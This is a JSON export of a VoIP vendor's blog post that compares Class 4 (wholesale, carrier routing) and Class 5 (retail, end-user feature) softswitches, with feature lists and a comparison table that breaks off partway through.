{"id":375,"date":"2025-07-16T07:57:32","date_gmt":"2025-07-16T07:57:32","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=375"},"modified":"2025-09-05T10:34:43","modified_gmt":"2025-09-05T10:34:43","slug":"class-4-vs-class-5-softswitch","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/","title":{"rendered":"Class 4 vs Class 5 Softswitch : VoIP Softswitch Comparison"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">For telecom carriers handling high-volume call traffic and VoIP providers serving end users with feature-rich calling, one of the most critical decisions is to select the right softswitch that helps them gain success in their business. This is the reason why understanding the difference between Class 4 and Class 5 softswitches is essential for them. These two types of softswitches serve different purposes in the VoIP ecosystem. In this blog, we are going to dig deep into class 4 vs class 5 Softswitch \u2013 two important core components of modern-day VoIP networks. We will also break down how a softswitch works as a middle device for initiating and routing any call through a telecommunication network.\u00a0<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4d5fbe486\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4d5fbe486\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#What_is_a_Softswitch\" title=\"What is a Softswitch?\">What is a Softswitch?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#How_does_VoIP_Softswitch_Work\" title=\"How does VoIP Softswitch Work?\">How does VoIP Softswitch Work?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#What_is_a_Class_5_Softswitch\" title=\"What is a Class 5 Softswitch?\">What is a Class 5 Softswitch?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Characteristics_Of_Class_5_Softswitch\" title=\"Characteristics Of Class 5 Softswitch\">Characteristics Of Class 5 Softswitch<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#What_is_a_Class_4_Softswitch\" title=\"What is a Class 4 Softswitch?\">What is a Class 4 Softswitch?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Characteristics_Of_Class_4_Softswitch\" title=\"Characteristics Of Class 4 Softswitch\">Characteristics Of Class 4 Softswitch<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Class_4_vs_Class_5_Softswitch_-_Key_Differences_You_Should_Know\" title=\"Class 4 vs Class 5 Softswitch \u2013 Key Differences You Should Know\">Class 4 vs Class 5 Softswitch \u2013 Key Differences You Should Know<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Purpose\" title=\"Purpose\">Purpose<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Features_Count\" title=\"Features Count\">Features Count<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Types_of_Service\" title=\"Types of Service\">Types of Service<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Business_Usage\" title=\"Business Usage\">Business Usage<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Concurrent_Capacity\" title=\"Concurrent Capacity\">Concurrent Capacity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Route_Area\" title=\"Route Area\">Route Area<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Benefits_of_Using_Softswitch\" title=\"Benefits of Using Softswitch\">Benefits of Using Softswitch<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Cost_Effectiveness\" title=\"Cost Effectiveness\">Cost Effectiveness<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Flexibility_and_Functionality\" title=\"Flexibility and Functionality\">Flexibility and Functionality<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Network_Management_and_Efficiency\" title=\"Network Management and Efficiency\">Network Management and Efficiency<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#How_do_Class_4_and_Class_5_Softswitch_work_together\" title=\"How do Class 4 and Class 5 Softswitch work together?\">How do Class 4 and Class 5 Softswitch work together?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#iTel_Softswitch_-_Hybrid_Softswitch\" title=\"iTel Softswitch &#8211; Hybrid Softswitch\">iTel Softswitch &#8211; Hybrid Softswitch<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Ready_to_Choose_the_Right_Softswitch\" title=\"Ready to Choose the Right Softswitch?\">Ready to Choose the Right Softswitch?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Frequently_Asked_Questions\" title=\"Frequently Asked Questions\">Frequently Asked Questions<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#What_is_the_main_difference_between_Class_4_and_Class_5_softswitches\" title=\"What is the main difference between Class 4 and Class 5 softswitches?\">What is the main difference between Class 4 and Class 5 softswitches?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Can_a_VoIP_provider_use_both_Class_4_and_Class_5\" title=\"Can a VoIP provider use both Class 4 and Class 5?\">Can a VoIP provider use both Class 4 and Class 5?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Which_one_is_better_-_Class_4_or_Class_5\" title=\"Which one is better &#8211; Class 4 or Class 5?\">Which one is better &#8211; Class 4 or Class 5?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#What_are_some_advanced_calling_features_offered_by_Class_5_softswitches\" title=\"What are some advanced calling features offered by Class 5 softswitches?\">What are some advanced calling features offered by Class 5 softswitches?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Looking_for_VoIP_SoftSwitch_for_Your_Business\" title=\"Looking for VoIP SoftSwitch for Your Business?\">Looking for VoIP SoftSwitch for Your Business?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#Features_to_Look_for_While_Buying_a_Class_4_Softswitch\" title=\"Features to Look for While Buying a Class 4 Softswitch\">Features to Look for While Buying a Class 4 Softswitch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/#7_Benefits_of_Hosted_VoIP_Service_for_Startups\" title=\"7 Benefits of Hosted VoIP Service for Startups\">7 Benefits of Hosted VoIP Service for Startups<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"What_is_a_Softswitch\"><\/span>What is a Softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4406 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/softswitch...jpg\" alt=\"softswitch..\" width=\"651\" height=\"430\" \/><\/p>\n<p><span style=\"font-weight: 400;\">A <\/span><a href=\"https:\/\/www.revesoft.com\/products\/itel-voip-softswitch\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">softswitch <\/span><\/a><span style=\"font-weight: 400;\">is software used in the telecommunication network for launching, maintaining, routing, and terminating sessions in Voice over IP (VoIP) networks. Internet-based telephony and a growing number of traditional telecommunication networks use this software switch to manage the connection of phone calls.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Call switching in the telecommunication industry is a long-term practice to interface the caller to the intended recipient. It was a manual process earlier when the phone administrators shifted the phone line physically, starting with one circuit and then onto the next, to interface the call between a caller and recipient. In the present scenario, if you notice a typical VoIP architecture, the manual call routing has moved on to an automated process with the help of a softswitch.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This software consequently switches the phone lines, and it is a mix of software and switchboard. It has the programmed logic to play out this telephone line exchange.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_does_VoIP_Softswitch_Work\"><\/span>How does VoIP Softswitch Work?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A softswitch functions as the brain of a VoIP network. How? Here\u2019s the breakdown of the inner workings of a VoIP Softswitch:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Initiation of the Call<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">When a number is dialed from a VoIP phone, the phone sends a SIP message to the Softswitch that establishes the call setup process.\u00a0\u00a0<\/span><\/p>\n<ul>\n<li><strong>Routing of the Call<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The softswitch receives the SIP message and analyzes its internal routing table. Based on the present information, like destination, quality of service, cost, and network conditions, Softswitch decides an optimal path for the call.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Call Connection is Established<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">When the call is within the same network, the softswitch directly connects the users on both ends. If in case, the call is to be sent to an external destination, then the softswitch may need to connect with other softswitches to reach the destination.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Media Processing Takes Place<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">During the call, the softswitch manages the packetization process. It converts voice signals into IP packets for transmission over the network. The softswitch also performs Packet Switching, i.e., directs the voice packets through the network, ensuring they reach the destination in the correct order and within an acceptable timeframe.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Termination of the Call<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">When one of the end users hangs up, the Softswitch sends the message to terminate the call. After that, it releases the resources that were used for the call and starts preparing for the next call.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Class 4 and Class 5 switches are the most widely used switches for routing calls through different networks. Some <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/telecom\/advanced-routing-maximize-profit-voip\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">common types of routing<\/span><\/a><span style=\"font-weight: 400;\"> are least-cost routing, lossless routing, time-based routing, etc.<\/span><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller#free_demo_form\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-2734 size-full aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-Softswitch.png\" alt=\"class 4 softswitch\" width=\"756\" height=\"198\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-Softswitch.png 756w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-Softswitch-300x79.png 300w\" sizes=\"auto, (max-width: 756px) 100vw, 756px\" \/><\/a><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"What_is_a_Class_5_Softswitch\"><\/span>What is a Class 5 Softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Class 5 Softswitch is a strong platform with lots of interesting modern features. Through this software, a retail VoIP service provider can provide extremely rich quality IP services to enterprise and residential office customers with IP-enabled devices like landline IP phones and adaptors!<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Let\u2019s consider a scenario \u2013 If an end user wants to make a call from Singapore to a Japan PSTN number, what\u2019s the role of <\/span><a href=\"https:\/\/www.revesoft.com\/products\/itel-voip-softswitch\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Class 5 Softswitch<\/span><\/a><span style=\"font-weight: 400;\">? To begin with, the call controlled by a retail VoIP solution provider will be transmitted to a wholesale VoIP provider via a Class 5 Switch. What happens after it reaches the wholesale VoIP provider is explained in the Class 4 Softswitch section.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Characteristics_Of_Class_5_Softswitch\"><\/span><span style=\"font-weight: 400;\">Characteristics Of Class 5 Softswitch<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 5 Softswitch characteristics include:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Call Authentication<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">It involves confirming the identity of the calling party to ensure that only authorized users can make the calls through the Softswitch.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Billing and Routing<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">While billing is all about tracking the usage of services for each user to generate bills, Routing involves determining the most optimal path for a call to reach its intended destination.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Interactive Voice Response<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Interactive Voice Response or IVR refers to the technology that enables automated customer service, i.e. computer can interact with humans through voice and DTMF tones input via a keypad.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Callback<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The callback feature allows users to request a callback from the system.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Analog-to-Digital Conversion<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In this process, analog signals or voice signals are converted into a digital format so that data can be transmitted over digital networks.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Support for Codec &amp; Media Transcoding<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Class 5 supports various audio codecs for compression and decompression of audio data.\u00a0 The usage of different codecs has different effects on the quality of the call and bandwidth usage. When 2 communicating parties use different codecs, media transcoding ensures compatibility and seamless communication.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Social Media Usability<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Using this feature, integration with social media platforms can be done. This enables users to call or interact with the softswitch using social media channels.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Call Transfer<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">This feature enables a user to transfer an ongoing or active call to another party, such as a different department or team.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Call Holding<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The call holding feature allows the user to temporarily put the call on hold, playing some music or greetings, while the user attends to another matter.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Call Forking<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Using this feature, a call can be simultaneously sent to multiple destinations, for instance, when a call is to be answered by multiple parties simultaneously.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_is_a_Class_4_Softswitch\"><\/span>What is a Class 4 Softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Class 4 Softswitch is mainly used for routing IP-IP calls to long-distance international locations using an IP network. Now, in our previous example, where an end-user wants to initiate a call from Singapore to a Japanese PSTN number, the Class 4 Switch will route the call to a Japanese PSTN number only when a wholesale VoIP service provider receives the transfer order from a Class 5 Switch.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In addition, <a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\">Class 4<\/a> Softswitch, which has fewer features than Class 5, enables cost-efficient scaling of voice services while offering a reliable presence between interexchange carriers.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Characteristics_Of_Class_4_Softswitch\"><\/span><span style=\"font-weight: 400;\">Characteristics Of Class 4 Softswitch<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The most important characteristics of the Class 4 solution are:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Protocol Support and Conversion<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">To ensure efficient communication between different carriers, class 4 softswitches support various protocols. They also perform conversions to facilitate interoperability.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Transcoding<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">This process converts media streams from one codec to another to ensure seamless communication between carriers.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Calls Per Second Rate<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">CPS or Calls Per Second Rate is the number of calls a Softswitch can handle per second. It defines the capacity and performance of the Softswitch.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Average Time of One Call Routing<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The average time taken by the softswitch to route a call from source to destination is called the Average Time of One Call Out. This helps in assessing the efficiency of call routing processes.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Number of Concurrent Calls<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Another crucial capacity parameter, the number of concurrent calls, refers to the maximum number of calls a softswitch can handle simultaneously.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Flexible UI (User Interface)<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">A flexible UI sets up a user-friendly environment for administrators to configure and manage the Class 4 softswitch.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Intelligent Call Routing<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">This feature dynamically determines the most optimal route for each call.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Billing Interface Including CDR<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The billing interface provides features for tracking and generating invoices. CDR refers to the detailed logs containing information about each call.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Secured Firewall<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The firewall acts as a protective barrier that secures the Softswitch from potential security threats and unauthorized access.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Filtered Third-party Routing Engine<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">A third-party routing engine integrated with class 4 Softswitch filters and optimizes the routing of calls, thus boosting the efficiency of the call transit.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Class_4_vs_Class_5_Softswitch_-_Key_Differences_You_Should_Know\"><\/span>Class 4 vs Class 5 Softswitch \u2013 Key Differences You Should Know<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-2380 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-compressed.jpg\" alt=\"class 4 sofswitch\" width=\"616\" height=\"390\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-compressed.jpg 4741w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-compressed-300x190.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-compressed-768x486.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Class-4-compressed-1024x648.jpg 1024w\" sizes=\"auto, (max-width: 616px) 100vw, 616px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Undoubtedly, both Class 4 &amp; 5\u00a0 Switches are robust platforms that play an important role in a VoIP infrastructure, but you need to understand some major differences between the two. Here, I have differentiated class 4 vs class 5 Softswitch based on purpose, features, business usage, capacity, and route area.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Purpose\"><\/span><span style=\"font-weight: 400;\">Purpose<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 5 Softswitch is responsible for transferring calls to Class 4 Softswitch after receiving the calls. It is primarily involved in handling calls within small areas. For long-distance routing through retail VoIP service providers, Class 4 Softswitch comes into action. After receiving calls from Class 5 Switch, a wholesale VoIP service provider routes the call to the long-distance destination with the help of a Class 4 platform.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Features_Count\"><\/span><span style=\"font-weight: 400;\">Features Count<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 5 Softswitch services include basic dial-tone, calling features, and additional digital and data services to subscribers using the local loop, but a Class 4 Softswitch is just a simplified solution. The main function of the Class 4 solution is the routing of large volumes of long-distance VoIP calls, paralleling other Class 4 telephone switches.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Types_of_Service\"><\/span><span style=\"font-weight: 400;\">Types of Service<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 5 Softswitch is more of a<\/span><i><span style=\"font-weight: 400;\"> retail<\/span><\/i><span style=\"font-weight: 400;\"> solution, whereas Class 4\u00a0 is a <\/span><i><span style=\"font-weight: 400;\">wholesale<\/span><\/i><span style=\"font-weight: 400;\"> solution.\u00a0 This means a Class 4 switch is a central office telephone exchange that is used to interconnect local exchange carrier offices for long-distance communications in the public switched telephone network.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In contrast, a Class 5\u00a0 Softswitch is a telephone switch or telephone exchange in the public switched telephone network, located at the local telephone company\u2019s central office, directly serving end-users.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Business_Usage\"><\/span><span style=\"font-weight: 400;\">Business Usage<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 5 Softswitches are intended to work with both VoIP service providers as well as end-users. This type of switch platform is for local &amp; long-distance telephony services. So, it possesses additional service features for end-users &amp; corporate clients such as IP PBX features, call center services, calling card platform, types of authorization, QoS, Business Groups, etc.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">On the other hand, the Class 4 platform intends to serve wholesale VoIP solution providers, PSTN, Telco Operators, Carriers, etc.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Concurrent_Capacity\"><\/span><span style=\"font-weight: 400;\">Concurrent Capacity<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 4 Softswitch can transfer a large number of calls, but Class 5 Switch solution can handle a small number of calls, so it is also known as a retail softswitch.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Route_Area\"><\/span><span style=\"font-weight: 400;\">Route Area<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A Class 4 softswitch routes large volumes of usually long-distance VoIP calls throughout multiple IP networks. In contrast, a Class 5 route calls the correct IP address, SIP address, or DID number of an End user.<\/span><\/p>\n<p>Let&#8217;s have a look at the Class 4 vs Class 5 softswitch comparison in tabular form:<\/p>\n<table>\n<tbody>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Feature<\/b><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><b>Class 4 Softswitch<\/b><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><b>Class 5 Softswitch<\/b><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p 